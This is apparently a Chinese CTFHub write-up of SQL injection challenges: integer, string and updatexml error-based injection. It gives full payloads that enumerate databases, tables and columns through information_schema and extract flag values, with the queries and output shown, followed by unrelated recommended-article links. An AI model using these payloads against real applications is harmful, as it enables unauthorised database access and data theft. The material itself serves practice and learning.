今天在ctfhub整理了几个sql注入的解题过程,还算是比较详细的。

知识点都是比较常见的:每个题大致涉及的知识点用一张表格解释

!注:下方的 information_schema.xxxxxxxxxxxxxx皆表示 information_schema库下的表

如:schemata、tables等,不作特殊说明的都指information库下的数据表

还有此处的题是ctfhub整合好的,所以所有的数据库和表包括字段名都一样,不要偷懒。

关键字/语句/函数 解释
union select 联合查询,联合注入常用
database() 回显当前连接的数据库
version() 查看当前sql的版本如:mysql 1.2.3, mariadb-4.5.6
group_concat() 把产生的同一分组中的值用,连接,形成一个字符串
information_schema 存了很多mysql信息的数据库
information_schema.schemata information_schema库的一个表,名为schemata
schema_name schemata表中存储mysql所有数据库名字的字段
information_schema.tables 存了mysql所有的表
table_schema tables表中存每个表对应的数据库名的字段
table_name 表的名字和table_schema一一对应
information_schema.columns columns表存了所有的列的信息4
column_name 当你知道一个表的名字时,可通过次字段获得表中的所有字段名(列名)
table_name 表的名字和column_name一一对应
select updatexml(1,concat(0x7e,database(),0x7e),1); 这里注意,只在databse()处改你想要的内容即可报错回显
right(str, num) 字符串从右开始截取num个字符
left(str,num) 同理:字符串从左开始截取num个字符
substr(str,N,M) 字符串,从第N个字符开始,截取M个字符

SQL整数型注入

  1. 爆当前数据库
4 union select 3,database()
> `select * from news where id=4 union select 3,database()`
> ID: 3
> Data: sqli

  1. 根据information_schema.schemata爆所有的数据库
   4 union select 3,group_concat(schema_name) from information_schema.schemata

select * from news where id=4 union select 3,group_concat(schema_name) from information_schema.schemata

ID: 3

Data: information_schema,mysql,performance_schema,sqli

  1. 根据 information_schema.tables 和 已知的数据库名sqli爆表名
4 union select 3,group_concat(table_name) from information_schema.tables where table_schema="sqli"

select * from news where id=4 union select 3,group_concat(table_name) from information_schema.tables where table_schema="sqli"

ID: 3

Data: news,flag

  1. 知道了flag表,就去爆爆字段根据 information_schema.columns 和 flag 表名
4 union select 3,group_concat(column_name) from information_schema.columns where table_name="flag"

select * from news where id=4 union select 3,group_concat(column_name) from information_schema.columns where table_name="flag"

ID: 3

Data: flag

5.知道了flag字段就好说了,直接查里面的内容吧

4 union select 3,group_concat(flag) from sqli.flag

select * from news where id=4 union select 3,group_concat(flag) from sqli.flag

ID: 3

Data: ctfhub{cf0c7df79d5f387aca776784bb5cfaebf98980f0}

SQL 字符型注入

  1. 爆列数,不过也不用爆了,因为回显就两列 :ID、DATA
3' union select database(),version() #

  1. 爆库名
3' union select database(),group_concat(schema_name) from information_schema.schemata #

回显:数据库名字sqli

select * from news where id='3' union select database(),group_concat(schema_name) from information_schema.schemata #'

ID: sqli

Data: information_schema,performance_schema,mysql,sqli

  1. 爆列名
3' union select database(),group_concat(table_name) from
information_schema.tables where table_schema='sqli' #

回显表名:flag

select * from news where id='3' union select database(),group_concat(table_name) from information_schema.tables where table_schema='sqli' #

ID: sqli

Data: news,flag

  1. 爆字段名
3' union select database(),group_concat(column_name) from
information_schema.columns where table_name='flag' #

回显字段名:flag

select * from news where id='3' union select database(),group_concat(column_name) from information_schema.columns where table_name='flag' #'

ID: sqli

Data: flag

  1. 爆字段名
3' union select database(),group_concat(flag) from sqli.flag #'

select * from news where id='' union select database(),group_concat(flag) from sqli.flag #'

ID: sqli

Data: ctfhub{4f0e4923b55e73aa9a1a5fd66fb88b13a1e9e7f2}

SQL报错注入

  1. 爆当前数据库
1 union select updatexml(1,concat(0x7e,database(),0x7e),1); #

  1. 爆所有数据库,注意要用括号包起来那一行
1 union select updatexml(1,concat(0x7e,
(select(group_concat(schema_name))from information_schema.schemata)
,0x7e),1); #

回显所有数据库的部分,发现没有回显sqli的名字,所以肯定是回显的长度受限,之前用到过,substr,left ,mid ,和right函数

select * from news where id=1 union select updatexml(1,concat(0x7e, (select(group_concat(schema_name))from information_schema.schemata) ,0x7e),1); #

查询错误: XPATH syntax error: '~information_schema,mysql,perfor'

注意回显得字符最大长度:32个

  1. 爆右边的31个字符,发现了重叠,
1 union select updatexml(1,concat(0x7e,right(
(select(group_concat(schema_name))from information_schema.schemata)
,31 ),0x7e),1); #

select * from news where id=1 union select updatexml(1,concat(0x7e, right((select(group_concat(schema_name))from information_schema.schemata) ,31) ,0x7e),1); #

查询错误: XPATH syntax error: '~a,mysql,performance_schema,sqli'

所以总共:information_schema,mysql,performance_schema,sqli四个数据库

  1. 爆表
1 union select updatexml(1,concat(0x7e,
(select(group_concat(table_name))from information_schema.tables where table_schema="sqli")
,0x7e),1); #
> `select * from news where id=1 union select updatexml(1,concat(0x7e, (select(group_concat(table_name))from information_schema.tables where table_schema="sqli") ,0x7e),1); #`
> 查询错误: XPATH syntax error: '~news,flag~'
  1. 爆列名
1 union select updatexml(1,concat(0x7e, (select(group_concat(column_name))from information_schema.columns where table_name="flag") ,0x7e),1); #

select * from news where id=1 union select updatexml(1,concat(0x7e, (select(group_concat(column_name))from information_schema.columns where table_name="flag") ,0x7e),1); #

查询错误: XPATH syntax error: 'flag'

  1. 爆内容

一部分flag:

1 union select updatexml(1,concat(0x7e, (select(group_concat(flag)) from sqli.flag) ,0x7e),1); #

select * from news where id=1 union select updatexml(1,concat(0x7e, (select(group_concat(flag)) from sqli.flag) ,0x7e),1); #

查询错误: XPATH syntax error: '~ctfhub{2333ee20c980f72952ce65c4'

另一部分flag:

1 union select updatexml(1,concat(0x7e, right((select(group_concat(flag)) from sqli.flag) ,31),0x7e),1); #

select * from news where id=1 union select updatexml(1,concat(0x7e, right((select(group_concat(flag)) from sqli.flag) ,31),0x7e),1); #

查询错误: XPATH syntax error: '~80f72952ce65c494ec82b147e9940d}'

拼接flag:ctfhub{2333ee20c980f72952ce65c494ec82b147e9940d}

[ctfhub]SQL注入的更多相关文章

  1. ctfhub sql注入 整数型注入

    整数型注入 手工注入 1.查看是否存在sql注入,及sql注入类型 2.确定列数 3.确定注入点,以及数据库版本,数据库名称 4.查表名 5.查字段名以及flag值 获得flag值 sqlmap做法 ...

  2. ctfhub sql注入字符型

    手工注入 1, 检查是否存在注入 2.猜字段数.列数 3.获得注入点,数据库名称,数据库版本 4.获得表名 5.获得字段名 6.获得flag sqlmap方法 1.查数据库库名 2.查表名 3.查字段 ...

  3. CTFHub Web题学习笔记(SQL注入题解writeup)

    Web题下的SQL注入 1,整数型注入 使用burpsuite,?id=1%20and%201=1 id=1的数据依旧出现,证明存在整数型注入 常规做法,查看字段数,回显位置 ?id=1%20orde ...

  4. sql注入-整数型

    sql注入整数型   1.按照提示输入1,发现直接给出了SQL语句   2.使用order by判断字段数   首先使用order by 3 ,页面无回显,改为2之后页面显示正确.因此判断当前数据库当 ...

  5. 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范

    昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...

  6. Web安全相关(五):SQL注入(SQL Injection)

    简介 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据 ...

  7. 从c#角度看万能密码SQL注入漏洞

    以前学习渗透时,虽然也玩过万能密码SQL注入漏洞登陆网站后台,但仅仅会用,并不理解其原理. 今天学习c#数据库这一块,正好学到了这方面的知识,才明白原来是怎么回事. 众所周知的万能密码SQL注入漏洞, ...

  8. 浅谈SQL注入风险 - 一个Login拿下Server

    前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查. 可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都 ...

  9. 揭开SQL注入的神秘面纱PPT分享

        SQL注入是一个老生常谈但又经常会出现的问题.该课程是我在公司内部培训的课程,现在分享出来,希望对大家有帮助.     点击这里下载.

随机推荐

  1. pandas入门(一):pandas的安装和创建

    pandas 对于数据分析的人员来说都是必须熟悉的第三方库,pandas 在科学计算上有很大的优势,特别是对于数据分析人员来说,相当的重要.python中有了Numpy ,但是Numpy 还是比较数学 ...

  2. Inheritance Learning Note

    好几天没来学习了,昨晚把继承的又整理了一下.想把整理后的东西发到hexo博客上来,却发现命令行又失效了.前几天明明是好的,这几天又没有进行任何操作,网上搜了一下也没有招到合适的解决办法,无奈只能重装了 ...

  3. Vue.observable()使用方法

    前言 随着组件的细化,就会遇到多组件状态共享的情况, Vuex当然可以解决这类问题,不过就像 Vuex官方文档所说的,如果应用不够大,为避免代码繁琐冗余,最好不要使用它,今天我们介绍的是 vue.js ...

  4. C++走向远洋——62(项目二1、类模板)

    */ * Copyright (c) 2016,烟台大学计算机与控制工程学院 * All rights reserved. * 文件名:text.cpp * 作者:常轩 * 微信公众号:Worldhe ...

  5. C++走向远洋——38(用对象数组操作长方柱类)

    */ * Copyright (c) 2016,烟台大学计算机与控制工程学院 * All rights reserved. * 文件名:changfangzhu.cpp * 作者:常轩 * 微信公众号 ...

  6. KEMET推出新的多层陶瓷电容器,用于市电供电的应用

    前言:2019年12月2日,全球领先的电子组件供应商KEMET公司 (“ KEMET”或“公司”)推出了一系列新的表面安装设备(SMD)安全认证的多层陶瓷电容器(MLCC),用于市电供电的应用.与现有 ...

  7. Day06 - Fetch、filter、正则表达式实现快速古诗匹配

    Day06 - Fetch.filter.正则表达式实现快速古诗匹配 作者:©liyuechun 简介:JavaScript30 是 Wes Bos 推出的一个 30 天挑战.项目免费提供了 30 个 ...

  8. C/C++ 手动开O2

    手动O2比赛不能用,平时玩玩就好 #pragma GCC optimize (2) #pragma G++ optimize (2)

  9. 今夜我懂了Lambda表达式_解析

    现在时间午夜十一点~ 此刻的我血脉喷张,异常兴奋:因为专注得学习了一把java,在深入集合的过程中发现好多套路配合Lambda表达式真的是搜椅子,so开了个分支,决定从"只认得", ...

  10. DUBBO 面试灵魂18问

    一.Dubbo 是什么 dubbo 是一个分布式框架,是一个远程服务调用的分布式框架,其核心部分包含: 1)集群容错: 提供基于接口方法的透明远程过程调用,包含多协议支持,以及软负债均衡.失败容错.地 ...